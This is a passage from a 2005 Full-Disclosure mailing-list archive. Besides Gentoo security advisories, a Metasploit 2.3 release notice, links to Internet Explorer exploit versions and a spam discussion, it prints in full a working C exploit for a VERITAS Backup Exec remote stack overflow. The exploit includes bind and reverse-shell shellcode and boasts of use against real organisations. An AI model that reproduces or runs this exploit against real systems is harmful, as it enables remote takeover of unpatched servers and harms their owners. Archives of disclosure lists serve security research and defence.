Libdisassemble is not a disassembler, just a lib. The simple disassemble it is just an example of how easy is to use it (it's a two-line assembler that shows how to incorporate it's opcode dissassembly. hence the term 'lib..dissassembly')

Nico
Immunity, Inc


> my mistake...

>short jump:
>it's JMP_Address + 2 + Second_Byte_value = Next_Instruction_Address

>shadown at twister:~/tmp$ echo -n -e "\x75\x65" > a
>shadown at twister:~/tmp$ ndisasm -b32 a
>00000000  7565              jnz 0x67
>shadown at twister:~/tmp$ ~/instalar/libdisassemble/disassemble.py a 0x0 0xff
>Disassembling file a at offset: 0x0
> 00000000:   jnz           0x65

>this is where my mistake came from ;)
>thnx


From ferruh at mavituna.com  Tue Jan 11 10:36:02 2005
From: ferruh at mavituna.com (Ferruh Mavituna)
Date: Tue, 11 Jan 2005 12:36:02 +0200
Subject: [Full-Disclosure] UPDATED: the insider exploit( = the latest
	ie0day which involves SHOWMODALDIALOG)
In-Reply-To: <001c01c4f7b8$a7aea420$f85ab350@noone>
Message-ID: <200501111036.j0BAaPrs023856@lists.netsys.com>


4) Classic ASP version;
http://ferruh.mavituna.com/article/?553


Ferruh Mavituna
http://ferruh.mavituna.com
PGPKey: http://ferruh.mavituna.com/pgpkey.asc
 

> -----Original Message-----
> From: full-disclosure-bounces at lists.netsys.com 
> [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf 
> Of Rafel Ivgi, The-Insider
> Sent: Tuesday, January 11, 2005 10:37 AM
> To: bugtraq at securityfocus.com; 
> full-disclosure at lists.netsys.com; NTBUGTRAQ at LISTSERV.NTBUGTRAQ.COM
> Subject: RE: [Full-Disclosure] UPDATED: the insider exploit( 
> = the latest ie0day which involves SHOWMODALDIALOG)
> 
> I forgot to tell everyone that i made an aspx version of 
> jelmers exploit.
> 
> So lets sum it up, all the exploits to 0-day --> 
> "The-Insider-Prototype"(as defined by Liu) are:
> 1) JSP VERSION BY JELMER -
> http://www.k-otik.com/exploits/07072004.IEApplicationShell.php
> 2) PHP VERSION BY Liu Die Yu- 
> http://0daymon.org/monitor/insider/dir.zip
> 3) ASPX VERSION BY Rafel
> ivgi -http://theinsider.deep-ice.com/The-Insider.zip
> 
> 
> Greetings: Liu Die Yu, Drew Copley, Malware
> 
> Rafel Ivgi, The-Insider
> Security Consultant
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 



From var at deny-all.com  Tue Jan 11 10:50:41 2005
From: var at deny-all.com (Vincent Archer)
Date: Tue, 11 Jan 2005 11:50:41 +0100
Subject: [Full-Disclosure] Interesting but suspicious possible phishing
	mail
In-Reply-To: <BAY3-F6DFC3B80597953B0FA3E1C0880@phx.gbl>
References: <BAY3-F6DFC3B80597953B0FA3E1C0880@phx.gbl>
Message-ID: <20050111105041.GH13828@DAPCVA.da>

On Tue, Jan 11, 2005 at 02:27:55AM +0000, DAN MORRILL wrote:
> Got this really interesting mail in my box today, and knowing that I 
> haven't used that e-mail address or ordered anything on line lately. 
> Wondering if it might not be a phishing e-mail. Haven't seen anything like 
> this before. Anyone see anything similar?

No, not phishing. Just the usual spam for on-line meds.

Major hints: spurious text destined to foil bayesian spam filters, subject
targeted to get you to open the mail ("what? I didn't order anything!").

-- 
Vincent ARCHER
varcher at denyall.com

Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France
www.denyall.com



From fdlist at digitaloffense.net  Tue Jan 11 11:21:57 2005
From: fdlist at digitaloffense.net (H D Moore)
Date: Tue, 11 Jan 2005 05:21:57 -0600
Subject: [Full-Disclosure] Metasploit Framework v2.3
Message-ID: <200501110521.57728@M3T4>

The Metasploit Framework is an advanced open-source exploit
development platform. The 2.3 release includes three user interfaces,
46 exploits and 68 payloads.

The Framework will run on any modern operating system that has a working
Perl interpreter. The Windows installer includes a slimmed-down version
of the Cygwin environment.

Some highlights in this release:

 - Complete overhaul of the Framework payload collection
    + Win32 ordinal-stagers are now included (92-byte reverse connect)
    + A handful of new sparc payloads have been added (sol, linux, bsd)
    + Reliability problems have been resolved in bsd, linux, and win32
    + New udp-based linux shell stagers and shell payloads
    + New size-optimized Mac OS X encoders and payloads

 - Includes the win32 version of the Meterpreter
    + Dynamically load new features over the network w/o disk access
    + In-memory dll injection of the basic meterpreter shell
    + Current extensions include Fs, Process, Net, and Sys
    + Extensive documentation is available online:
      * http://metasploit.com/projects/Framework/docs/meterpreter.pdf

 - Complete rewrite of the 'msfweb' user interface
    + Generate and encode stand-alone shellcode from the web interface
    + The interface is skinnable and includes three different themes
    + Streaming HTTP is used to provide a 100% web-based shell
    + Ability to set advanced options in the web interface

 - Massive speed enhancements in msfconsole and msfweb
    + Snappier response and quicker load times on older systems
    + Optimizations made to various sort/search algorithms
    + Modules are no longer reloaded after each exploit

 - New exploits
    + Microsoft WINS Service Memory Overwrite (MS04-045) 
    + Samba trans2open() Buffer Overflow (Mac OS X)
    + 4D WebSTAR FTP Server Buffer Overflow (Mac OS X)
    + Veritas Name Service Registration Buffer Overflow    
    + AOL Instant Messenger 'goaway' Buffer Overflow
    + IPSwitch IMail IMAPD 'delete' Buffer Overflow
    + Seattle Labs Mail Server POP3 Buffer Overflow
    + UoW IMAPD Buffer Overflow (sparc, ia32)
    + IRIX lpdsched Remote Command Execution    
    + CDE dtspcd Buffer Overflow (Solaris)
    + IIS 4.0 ism.dll HTR Buffer Overflow 
    + IIS w3who.dll ISAPI Buffer Overflow


This release is available from the Metasploit.com web site:
  - Unix:  http://metasploit.com/tools/framework-2.3.tar.gz
  - Win32: http://metasploit.com/tools/framework-2.3.exe

Screen shots of the new release are online and available from:
  - http://metasploit.com/projects/Framework/screenshots.html
  
A demonstration of the new msfweb interface is running live from:
  - http://metasploit.com:55555/
  

Exploit modules designed for the 2.2 release should maintain
compatibility with 2.3. If you run into any problems using older
modules with this release, please let us know.

The Framework development team consists of four active members and a
handful of part-time contributors. Check out the 'Credits' exploit
module for a complete list of contributors.

You can subscribe to the Metasploit Framework mailing list by sending a
blank email to framework-subscribe[at]metasploit.com. This is the
preferred way to submit bugs, suggest new features, and discuss the
Framework with other users.

If you would like to contact us directly, please email us at:
msfdev[at]metasploit.com.

Starting with the 2.2 release, it is now possible to perform a system-wide
installation of the Framework. Simply extract the tarball into the
directory of your choice and create symbolic links from the msf*
executables to a directory in the system path. Users may maintain their
own exploit module collections by placing them into ~/.msf/exploits/. If
you are interested in adding the Framework to a operating system
distribution, please drop us a line and we will gladly help with the
integration and testing process.

For more information about the Framework and this release in general,
please refer to the online documentation, particularly the User Guide:
  - http://metasploit.com/projects/Framework/documentation.html


The Opcode Database has been refactored in order to support more granular
queries. The new version provides users with the ability to easily cross
reference specific opcode types, classes, and meta classes across one or
more modules for one or more operating system versions. This level of
granular control allows for a robust and flexible interface that can be
used to determine opcode portability. Aside from opcodes themselves, the
opcode database also contains detailed information about the segments,
imports, and exports that are associated with each module in the database.

A quick overview of the features included in the new database are:    
  - Granular searching of opcodes of a specific type, class, and meta class.  
  - Searching modules provided directly from Windbg's module list. 
  - Cross referencing opcodes across various operating system version. 
  - Detailed module information including segments, imports, and exports.

You can access the beta version of the new Opcode Database at:
  - http://metasploit.com/opcode_beta.html


Enjoy!

- The Metasploit Framework Development Team
     ( hdm, spoonm, skape, and vlad902 )


From class101 at hat-squad.com  Tue Jan 11 11:39:28 2005
From: class101 at hat-squad.com (class 101)
Date: Tue, 11 Jan 2005 12:39:28 +0100
Subject: [Full-Disclosure] VERITAS Backup Exec 8.x/9.x Remote Universal
	Exploit
Message-ID: <004001c4f7d2$366b21c0$0200a8c0@box>

Because k-otik are poor looser not respecting the publication of metasploit 2.3 , im forced to post my code.

/*
VERITAS Backup Exec v9.1.4691.SP1
                    v9.1.4691.SP0
     v8.5.3572
Agent Browser Service, Remote Stack Overflow

Highly Critical

All credits to: 

-iDEFENSE(discovery-www.iDEFENSE.com), 
-Thor Doomen(iat-syscall[at]inbox.lv), 
-H.D. Moore(scode-www.metasploit.com),
-Matt Miller(scode-www.hick.org)

ExtraNotes:

All my tests/debugs where a bit long (some days) firstly due to the big size
of Backup Exec and the unstability accross differents windows versions
to make working that IAT method with 100% success and the difficulty to debug it.
(As a recall, due to the 60 bytes only free, a tiny shellcode is send in first to scan
the recv function of benetns.exe and jump to the data submitted during the second send,
thanx syscall. Let's think large now. Imagine that you exploits the hole and you submit
the shellcode 5 minutes later, the service will hang on to death of course until a kill,
now imagine that you exploits the hole and you submit the shellcode too faslty for the,
computer processing, the shellcode can be missed, wont be executed again, sometimes yes/no, but really unstable. 
Hopefully (or unfortunely for you admin :>) I'm here to optimize it and make it 100% working, universal,
stable whatever you want for the good fortune of script kiddies and to show what mean working to my good
friends ka-odick :>
                                                 Tries
   Machine           Bind  / Rverse / Success

 (2x) Win2k SP4   Server English      10        10       20
 (1x) Win2k SP4   Pro    English       5         5       10
 (1x) WinXP SP1   Pro    English       5         5       10
 (1x) WinXP SP1a  Pro    English       5         5       10
 (3x) Win2003 SP0 Server English       5         5       10
 (1x) Win2003 SP0 Server Ita.          5         5       10
 (1x) NT4         Server English.      5         5       10

            = Universal

v0.1:
C code based on Thor Doomen's code posted at the metasploit mailing list,
excellent in the method, but super unstable to not say not working when used,
made some changes.

v0.2:
fix of the first big problem , the missed shellcode accross differents windows, 
fixed by flooding benetns with more sends, timer really small, this is important.
padding 1 nop to the reverse shellcode as needed, else crash on reverse.

v0.3:
universal esi call across v9.1 SP0 and SP1, for the good fortune of script kiddies.

v0.4:
As a warning, this poc v0.4 as been tested working by an anonymous tester (never mentionned there)
on some organisations such nasa, states/edus, it's urgent to update 1 month after the advisory, sleepers.

Tips: -make sure that your ip is safe of null bytes in reverse mode.
      -make sure that you targets the good version of Backup Exec,
      else you crash it.
   -Backup Exec v10.0 is now available, get it at www.veritas.com.
   -Visit dfind.kd-team.com for a patched benetns.exe, quick solution 
   for an urgent update. (extracted from the hotfix at www.veritas.com)
      Backup Exec 9.x is tested safe after replacing the .exe

Greetings: 
   Nima Majidi
   Behrang Fouladi
   Pejman
   keystr0ke
   JGS
   DiabloHorn
   kimatrix
   NaV
   New Metasploit v2.3 (http://www.metasploit.com/)
   and all idlers of #n3ws on Eris Free Network.

by class101 [at] hat-squad.com
answering to all stupid questions that I got & will have, no I'm not persian and you don't care where I come from.

04 January 2005
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif

char scode1[]=
file://Matt Millers 'skape' shellcode.
"\x90"  // pad needed their for me, if you get scode detection problems on slow connections,
file://try to add more NOP and make sure to update the memcpys later in the code.
"\xeb\x6e\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0d\x56\x8b\x40\x0c\x8b\x70\x1c\xad"
"\x8b\x40\x08\x5e\xc3\x8b\x40\x34\x83\xc0\x7c\x8b\x40\x3c\xc3\x60\x8b\x6c\x24\x24"
"\x8b\x45\x3c\x8b\x7c\x05\x78\x03\xfd\x8b\x4f\x18\x8b\x5f\x20\x03\xdd\xe3\x33\x49"
"\x8b\x34\x8b\x03\xf5\x33\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x03\xd0\xeb"
"\xf4\x3b\x54\x24\x28\x75\xe2\x8b\x5f\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5f\x1c\x03"
"\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa9\xff"
"\xff\xff\x89\x07\x83\xc4\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72"
"\xfe\xb3\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa\x60\xcb"
"\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff"
"\xff\x5e\xe8\x47\xff\xff\xff\x8b\xd0\x83\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10"
"\xe8\xa5\xff\xff\xff\x83\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f"
"\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8\x01\x63"
"\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0"
"\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0"
"\x68\x7f\x01\x01\x01\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50"
"\x53\x56\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6"
"\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d\x77\x44"
"\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50"
"\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55\x20\xff\x55\x0c\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


char scode2[]=
file://HD.Moore Shellcode
file://"\x90"   uncomment this if you have scode detection problem on slows connections or try more NOP,
file://but for me and some other guys its already fine like this.
"\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
"\x58\x68\x61\x63\x6B\x90";  

static char payload[800];
char v91sp0sp1[]="\xFF\x50\x11\x40";
char esisp0sp1[]="\xA1\xFF\x42\x01";
char v85[]="\xFF\x38\x11\x40";
char esiold[]="\xB9\x08\x43\x01";

char talk[] =
"\x02\x00\x32\x00"
"\x90\x90\x90\x90"
"\x31\xF6\xC1\xEC\x0C\xC1\xE4\x0C\x89\xE7\x89\xFB\x6A\x01\x8B\x74"
"\x24\xFE\x31\xD2\x52\x42\xC1\xE2\x10\x52\x57\x56\xB8\x00\x00\x00"
"\x00\xC1\xE8\x08\xFF\x10\x85\xC0\x79\x07\x89\xDC\x4E\x85\xF6\x75"
"\xE1\xFF\xE7\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x00"
"1.1.1.1.1.1"
"\x00"
"\xEB\x80";

#ifdef WIN32
 WSADATA wsadata;
#endif

void ver();
void usage(char* us);

int main(int argc,char *argv[])
{
 ver();
 unsigned long gip;
 unsigned short gport;
 char *os;
 if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;} 
 if (argc==5){usage(argv[0]);return -1;} 
    if (strlen(argv[2])<7){usage(argv[0]);return -1;} 
    if (argc==6)
 {
        if (strlen(argv[4])<7){usage(argv[0]);return -1;} 
 }
#ifndef WIN32
 if (argc==6)
 {
   gip=inet_addr(argv[4])^(long)0x00000000;
  gport=htons(atoi(argv[5]))^(short)0x0000;
 }
#define Sleep  sleep
#define SOCKET  int
#define closesocket(s) close(s)
#else
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;}
 if (argc==6)
 {
  gip=inet_addr(argv[4])^(ULONG)0x00000000;
  gport=htons(atoi(argv[5]))^(USHORT)0x0000;
 }
#endif
 int ip=htonl(inet_addr(argv[2])), port;
 if (argc==4||argc==6){port=atoi(argv[3]);} else port=6101;
 SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
 s=socket(AF_INET,SOCK_STREAM,0);
 if (s==-1){printf("[+] socket() error\n");return -1;} 
 if (atoi(argv[1])==1) {memcpy(&talk[37], &v91sp0sp1, 4);memcpy(&talk[72], &esisp0sp1, 4);os="Backup Exec v9.1.4691.1\n[+]            Backup Exec v9.1.4691.0";}
 else {memcpy(&talk[37], &v85, 4);memcpy(&talk[72], &esiold, 4);os="Backup Exec v8.5.3572";}
 if (argc==6)
 {
  memcpy(&scode1[282], &gip, 4);
  memcpy(&scode1[289], &gport, 2);
  strcat(payload,scode1);
 }
 else strcat(payload,scode2);
 printf("[+] target(s): %s\n",os);   
 server.sin_family=AF_INET;
 server.sin_addr.s_addr=htonl(ip);
 server.sin_port=htons(port);
 connect(s,( struct sockaddr *)&server,sizeof(server));
 timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
 switch(select(s+1,NULL,&mask,NULL,&timeout))
 {
  case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
  case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
  default:
  if(FD_ISSET(s,&mask))
  {
   printf("[+] connected, constructing the payload...\n");
   if (send(s,talk,sizeof(talk)-1,0)==-1) { printf("[+] sending error 1, the server prolly rebooted.\n");return -1;}

#ifdef WIN32
   Sleep(10);
#else
   Sleep(1/100);
#endif
   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 2, the server is patched.\n");return -1;}

#ifdef WIN32
   Sleep(10);
#else
   Sleep(1/100);
#endif

   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 3, the server is patched.\n");return -1;}

#ifdef WIN32
   Sleep(10);
#else
   Sleep(1/100);
#endif

   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 4, the server is patched.\n");return -1;}

#ifdef WIN32
   Sleep(10);
#else
   Sleep(1/100);
#endif

   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 5, the server is patched.\n");return -1;}

#ifdef WIN32
   Sleep(10);
#else
   Sleep(1/100);
#endif
   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 6, the server is patched.\n");return -1;}

#ifdef WIN32
   Sleep(10);
#else
   Sleep(1/100);
#endif
   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 7, the server is patched.\n");return -1;}

#ifdef WIN32
   Sleep(10);
#else
   Sleep(1/100);
#endif
   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 8, the server is patched.\n");return -1;}
#ifdef WIN32
   Sleep(1000);
#else
   Sleep(1);
#endif   
   printf("[+] size of payload: %d\n",(sizeof(talk)-1)+strlen(payload)*7);   
   printf("[+] payload sent.\n");
   return 0;
  }
 }
 closesocket(s);
#ifdef WIN32
 WSACleanup();
#endif
 return 0;
}


void usage(char* us) 
{  
 printf("USAGE:\n");
 printf("      [+]  . 101_BXEC.exe Version VulnIP\n");
 printf("      [+]  . 101_BXEC.exe Version VulnIP VulnPORT\n");
 printf("      [+]  . 101_BXEC.exe Version VulnIP VulnPORT GayIP GayPORT\n");
 printf("VERSION:                               \n");
 printf("      [+] 1. Backup Exec v9.1.4691.SP1\n");
 printf("      [+] 1. Backup Exec v9.1.4691.SP0\n");
 printf("      [+] 2. Backup Exec v8.5.3572\n");
 printf("TARGET:                               \n");
 printf("      [+]  . 2k3/2k/XP/NT4 universal (*)\n");
 printf("NOTE:                               \n");
 printf("      The exploit bind a cmdshell port 101 or\n");
 printf("      reverse a cmdshell on your listener.\n");
 printf("      A wildcard (*) mean tested working.\n");
 printf("      Compilation msvc6, cygwin, Linux.\n");
 return;
} 
void ver()
{ 
 printf("                                                                   \n");
 printf("        ================================================[0.4]========\n");
 printf("        =================VERITAS Backup Exec 8.x/9.x=================\n"); 
 printf("        =========Agent Browser Service, Remote Stack Overflow========\n");
 printf("        ======coded by class101=============[Hat-Squad.com 2005]=====\n");
 printf("        =============================================================\n");
 printf("                                                                   \n");
}

-------------------------------------------------------------
class101
Hat-Squad.com
-------------------------------------------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/17a4f714/attachment.html 

From jaervosz at gentoo.org  Tue Jan 11 13:06:17 2005
From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen)
Date: Tue, 11 Jan 2005 14:06:17 +0100
Subject: [Full-Disclosure] [ GLSA 200501-16 ] Konqueror: Java sandbox
	vulnerabilities
Message-ID: <200501111406.25353.jaervosz@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-16
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Konqueror: Java sandbox vulnerabilities
      Date: January 11, 2005
      Bugs: #72750
        ID: 200501-16

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

The Java sandbox environment in Konqueror can be bypassed to access
arbitrary packages, allowing untrusted Java applets to perform
unrestricted actions on the host system.

Background
==========

KDE is a feature-rich graphical desktop environment for Linux and
Unix-like Operating Systems. Konqueror is the KDE web browser and file
manager.

Affected packages
=================

    -------------------------------------------------------------------
     Package           /  Vulnerable  /                     Unaffected
    -------------------------------------------------------------------
  1  kde-base/kdelibs       < 3.3.2                           >= 3.3.2

Description
===========

Konqueror contains two errors that allow JavaScript scripts and Java
applets to have access to restricted Java classes.

Impact
======

A remote attacker could embed a malicious Java applet in a web page and
entice a victim to view it. This applet can then bypass security
restrictions and execute any command, or access any file with the
rights of the user running Konqueror.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All kdelibs users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose kde-base/kdelibs

Note: There is currently no fixed stable version for sparc.

References
==========

  [ 1 ] KDE Security Advisory: Konqueror Java Vulnerability
        http://www.kde.org/info/security/advisory-20041220-1.txt
  [ 2 ] CAN 2004-1145
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1145

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-16.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/3759f1e6/attachment.bin 

From jaervosz at gentoo.org  Tue Jan 11 13:18:11 2005
From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen)
Date: Tue, 11 Jan 2005 14:18:11 +0100
Subject: [Full-Disclosure] [ GLSA 200501-17 ] KPdf,
	KOffice: More vulnerabilities in included Xpdf
Message-ID: <200501111418.16592.jaervosz@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-17
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: KPdf, KOffice: More vulnerabilities in included Xpdf
      Date: January 11, 2005
      Bugs: #75203, #75204
        ID: 200501-17

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

KPdf and KOffice both include vulnerable Xpdf code to handle PDF files,
making them vulnerable to the execution of arbitrary code if a user is
enticed to view a malicious PDF file.

Background
==========

KPdf is a KDE-based PDF viewer included in the kdegraphics package.
KOffice is an integrated office suite for KDE.

Affected packages
=================

    -------------------------------------------------------------------
     Package               /  Vulnerable  /                 Unaffected
    -------------------------------------------------------------------
  1  app-office/koffice       < 1.3.5-r1                   >= 1.3.5-r1
  2  kde-base/kdegraphics     < 3.3.2-r1                   >= 3.3.2-r1
                                                          *>= 3.2.3-r3
    -------------------------------------------------------------------
     2 affected packages on all of their supported architectures.
    -------------------------------------------------------------------

Description
===========

KPdf and KOffice both include Xpdf code to handle PDF files. Xpdf is
vulnerable to multiple new integer overflows, as described in GLSA
200412-24.

Impact
======

An attacker could entice a user to open a specially-crafted PDF file,
potentially resulting in the execution of arbitrary code with the
rights of the user running the affected utility.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All KPdf users should upgrade to the latest version of kdegraphics:

    # emerge --sync
    # emerge --ask --oneshot --verbose kde-base/kdegraphics

Note: There is currently no fixed stable 3.3.x version for sparc.

All KOffice users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose app-office/koffice

References
==========

  [ 1 ] GLSA 200412-24
        http://www.gentoo.org/security/en/glsa/glsa-200412-24.xml
  [ 2 ] CAN-2004-1125
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125
  [ 3 ] KDE Security Advisory: kpdf Buffer Overflow Vulnerability
        http://kde.org/info/security/advisory-20041223-1.txt
  [ 4 ] KOffice XPDF Integer Overflow 2
        http://koffice.kde.org/security/2004_xpdf_integer_overflow_2.php

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-17.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
